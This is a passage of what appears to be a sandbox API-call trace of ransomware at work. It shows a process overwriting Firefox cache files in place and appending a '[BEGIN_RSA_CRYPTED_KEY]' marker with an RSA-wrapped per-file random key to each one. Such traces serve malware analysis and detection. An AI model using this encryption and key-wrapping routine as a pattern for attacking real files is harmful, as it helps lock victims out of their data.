out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0xdff, lpOverlapped=0x0) returned 1 [0255.077] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3583, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0255.077] WriteFile (in: hFile=0x1b84, lpBuffer=0x344ee60*, nNumberOfBytesToWrite=0xdff, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344ee60*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdff, lpOverlapped=0x0) returned 1 [0255.077] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdff [0255.078] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0255.078] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0255.078] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0255.078] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0255.078] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0255.078] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="q4T/NR74VHeQGjvtqJAs5D2fBAVYpXuBqA6ACSMUKBZZLbmIAfL0ea6zDg7QzoPB\nhoGhXpyKQTN0uQfIPiZIlGgLd0DTrZIwdfYoHDbWbXDF1hRiifenUC1oI0J2F/5q\nr7CxNLGPnP2AsmgYnbD6M2bI4Eyzv8ZNGff4HNtbhcMG5b3FmeV/D4kDD7z6xat1\nVUOPNaE2D9BPslpm17PZhrm7oY1tbEKWBEac59js/WSPmTsxAhpg0o7Rb2Fh/+hD\nNXut5lojCOMoG8d1GyM4rJ98r18KXAuZOt3c99uCmM48gO5o0caYKY8M+tB29csn\nFhkC69p6Qs/y62XTaEmrXg==\n", pcchString=0x2e3f9a8) returned 1 [0255.078] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0255.079] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0255.079] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0255.079] CloseHandle (hObject=0x1b84) returned 1 [0255.166] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0255.166] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D225DA0B1EFA09664F97A0B8D95C35FBB61AEDF1", dwFileAttributes=0x80) returned 1 [0255.166] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x30568, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x30568, lpOverlapped=0x0) returned 1 [0255.206] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-197992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0255.206] WriteFile (in: hFile=0x1b84, lpBuffer=0x347e5c8*, nNumberOfBytesToWrite=0x30568, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x347e5c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x30568, lpOverlapped=0x0) returned 1 [0255.207] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x30568 [0255.207] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0255.208] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0255.208] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0255.208] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0255.208] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0255.209] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="6kGpnI6ZQ5ddzaIbR2tSCxFRpsTrWCgmGYtQr1QD7eYwOQiX3YNCEfIw306U6Rfk\nSATuG/wtJhbAHRKFqXw4sEI4GTvhZsRLYBGOOjUOeOvrop9s+bHK6b4WTN/kdzQD\n0+9VWm/ynmPsO3ogGnDXdANu2jh4C/X7nCXlfu3wkSoCtkZ58ptiGXz/pqiQHkzj\nFwFrEC1lR72O/uYx0Eh7mDNvNZ3ROTXwXINP6Jj0RM6Bf1pMTG5TGpsUJu0z/4MI\nGJMob9tGNuTLRbIIK5fV+f92ve/ZSRx9mRMYfL/m0TGfh007S/g7hFAgz4iwGZcW\nydYdQ2yXelSZe6MzX0kIWA==\n", pcchString=0x2e3f9a8) returned 1 [0255.209] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0255.209] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0255.209] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0255.209] CloseHandle (hObject=0x1b84) returned 1 [0255.211] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0255.211] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D201DA736989E8CEB42A24C67E5584739CC2A633", dwFileAttributes=0x80) returned 1 [0255.211] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x113c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x113c, lpOverlapped=0x0) returned 1 [0255.232] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4412, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0255.233] WriteFile (in: hFile=0x1b84, lpBuffer=0x344f1a0*, nNumberOfBytesToWrite=0x113c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344f1a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x113c, lpOverlapped=0x0) returned 1 [0255.233] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x113c [0255.233] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0255.233] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0255.234] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0255.234] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0255.234] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0255.234] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="xxdrsMrRhHxI7ZLtOnorHt/G0OHjfWpTWcPaEdNdVptlDg95gH6QNRNbGqvJNMw+\nTo9b0CDsmaTW3feKwJ4hv/hvANHEfEe7KUB8xkmcM1do0ppawVSwekGDDrTOP8+c\nkf2bO5I+vyNaD63ynfYzxoCZWWVtD/RvaCJdUPJG1bK/jvdZyeXG65g8Mi6pjAtd\nHwWVK7h02JFfgfj5WTpdX8hTBVnOmavPDIf/EYW8juEKOfypSRA5TG0lwSJ5SmDB\njPj6Tsfx3R6wJszw2J6dO0YGWuSmgRBg1Uobex6LGc5eP0HibEf05zMkduJR0FQU\nZSB3YdSH/OVC3HjNN7eLFw==\n", pcchString=0x2e3f9a8) returned 1 [0255.235] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0255.235] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0255.235] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0255.235] CloseHandle (hObject=0x1b84) returned 1 [0255.237] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0255.237] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D167BB9FA19BC41840B1B5DF5C20CDFCDA1975A6", dwFileAttributes=0x80) returned 1 [0255.237] ReadFile (in: hFile=0x1b84, lpBuffer=0x5a8108, nNumberOfBytesToRead=0x2ca, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesRead=0x2e3f9b4*=0x2ca, lpOverlapped=0x0) returned 1 [0255.239] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-714, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0255.239] WriteFile (in: hFile=0x1b84, lpBuffer=0x66e948*, nNumberOfBytesToWrite=0x2ca, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2ca, lpOverlapped=0x0) returned 1 [0255.239] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2ca [0255.239] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0255.239] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0255.240] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0255.240] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0255.240] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0255.240] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="aB8/4KLw61am5QhJA6+iB5eIwPPT2mckt/jhoPbzYM7s0HN3hokkAI5mZLPis7bi\n/QYmeouuoQWctGBjZnere9MwUQxOQ/S1UMuOQhHjVqjjE4LH+bTTTHkXEMnbEwZN\n+ESK71jJyHAkz1XUIld4/6ejyCjOKeXmjCccVL7tfOf0j20MkCfyivGpwfHytamy\npPi1uuZVa9CYFTsjNqcdWQq6cyT91Bonxp/QDGmgY+wkb1XMIlBwOM2yE3NLxE8f\nAZGu0cuPfE9oVIj8nnjSh2S/SSp4oreYNCb8dSP2MeDGRUEAxZZFo9YsaqMeiAS3\nK1WeCL6OT2Bvbg/Hm2FMrA==\n", pcchString=0x2e3f9a8) returned 1 [0255.240] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0255.241] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0255.241] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0255.241] CloseHandle (hObject=0x1b84) returned 1 [0255.243] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0255.243] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D15AA3B10C893A34006CFA102844CDA3AC93C251", dwFileAttributes=0x80) returned 1 [0255.243] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0xef7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0xef7, lpOverlapped=0x0) returned 1 [0255.678] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0255.678] WriteFile (in: hFile=0x1b84, lpBuffer=0x344ef58*, nNumberOfBytesToWrite=0xef7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344ef58*, lpNumberOfBytesWritten=0x2e3f9b4*=0xef7, lpOverlapped=0x0) returned 1 [0255.679] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xef7 [0255.679] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0255.679] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0255.679] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0255.680] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0255.680] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0255.680] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="L8yPCiogoqcjp6OJGlyXMM2p25hIcIO1X1DeTJWqQQ0uOaE6Jf5NJUJSP7nPWiYC\nRxLm8yoB0PALp70IRQYwP5TUzmFPRxDq6+YgsmFI+QUb3AB8VZnhxNPAcQvJvz9U\nKPYztHrCjomMt4E0LNIFivrtqj2VsZSiJkA6+zF/ordKtIjdgn6N3n6ABPLVLYJg\nSOV8DzrB4FuetoOWLolsp3FVAc2imr3t/LDE/9tVnkKaQI/vMo6EFepcx3CXUN/4\neyUQWzQxZ2Cf5BAdaHs7YhpIpk3kp/3ysis30B6IH3GO5FWnQ1zSvnc2jGkB8E2V\nhfYMANCGO5qPTOuAm8CTAw==\n", pcchString=0x2e3f9a8) returned 1 [0255.680] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0255.681] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0255.681] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0255.681] CloseHandle (hObject=0x1b84) returned 1 [0255.683] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0255.683] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D0DB7366CD05C6998AD218302336C53880559F7E", dwFileAttributes=0x80) returned 1 [0255.683] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x2401, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x2401, lpOverlapped=0x0) returned 1 [0255.762] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-9217, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0255.762] WriteFile (in: hFile=0x1b84, lpBuffer=0x3450468*, nNumberOfBytesToWrite=0x2401, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3450468*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2401, lpOverlapped=0x0) returned 1 [0255.762] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2401 [0255.762] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0255.762] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0255.763] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0255.763] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0255.763] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0255.763] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="JwqGCGB8FcJO+s5R58k69/SoO4z3GwK9SzZc79KW7yMiZAX2u07aj0vrw2lVaVtT\ndp39Wr7lw156EwEbA8BVkiwYiaQXoIZpRz4Oixv0Yvd3T9qL7Xey1todv2DvPeL6\nsGpo77NH/D6kR87NEoKPRnVcX1QlVGWkGj+Uj3c3FZTT9O+cnfxJ8hauToI6zhhI\nIB6oB5WYM8tgtfJYzxGdYiznX6HqXJ7fxfuuJzDbLByTvftssxIaT7u6R09Pk6qJ\n7L3wz58kaN61P8IIX/E+y7Xte+vHsAMUQfSYDIW/vG/tDImK3xYEtwjsqi11I9Hl\nogfssNJhwGPbh9MCBUWJmg==\n", pcchString=0x2e3f9a8) returned 1 [0255.763] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0255.763] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0255.763] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0255.764] CloseHandle (hObject=0x1b84) returned 1 [0255.768] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0255.768] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D04EEBE4CAD296A12D74364C89C4C67B17DA3986", dwFileAttributes=0x80) returned 1 [0255.768] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x2cb9, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x2cb9, lpOverlapped=0x0) returned 1 [0255.899] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-11449, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0255.900] WriteFile (in: hFile=0x1b84, lpBuffer=0x3450d20*, nNumberOfBytesToWrite=0x2cb9, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3450d20*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2cb9, lpOverlapped=0x0) returned 1 [0255.900] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2cb9 [0255.901] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0255.901] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0255.901] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0255.901] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0255.902] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0255.902] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ykCEEqjjNHxQldDOTBGKrktSMv4GOIZ9MW8pK/SW4cgdupWN0AtRNX0xoMWsR8wy\nnv8F1W/8csdDdWast1vm8odlkMv+IbZLE6re8shnimLQgRwqw8R7cRP530Ouq2rB\nVO93PKoqFpvyF8YrlDqIFQA2/gcDtwBo/xr4a6so+TpoE/iHEU01UViBzjj/VApz\nlHX/oRBzOuEIOwyctWUBe3FF5OT4A/kGwqtP++crAXqbe7qtDyesGzzZRa1w74Sd\no3hv5YOBtevvsa5Eg3KOLHaIFosDokkq5EOxVdqn7ABVoX8WJQaT1+916PHZ5znY\n9nJrbTqlHk7OW2L+9TdFKw==\n", pcchString=0x2e3f9a8) returned 1 [0255.902] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0255.902] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0255.902] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0255.903] CloseHandle (hObject=0x1b84) returned 1 [0255.907] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0255.907] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\CFDFD75D65B5C0F7E327162782A486D37AC5AD4F", dwFileAttributes=0x80) returned 1 [0255.907] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x713c, lpNumberOfBytesRead=0x2e3f9b4, 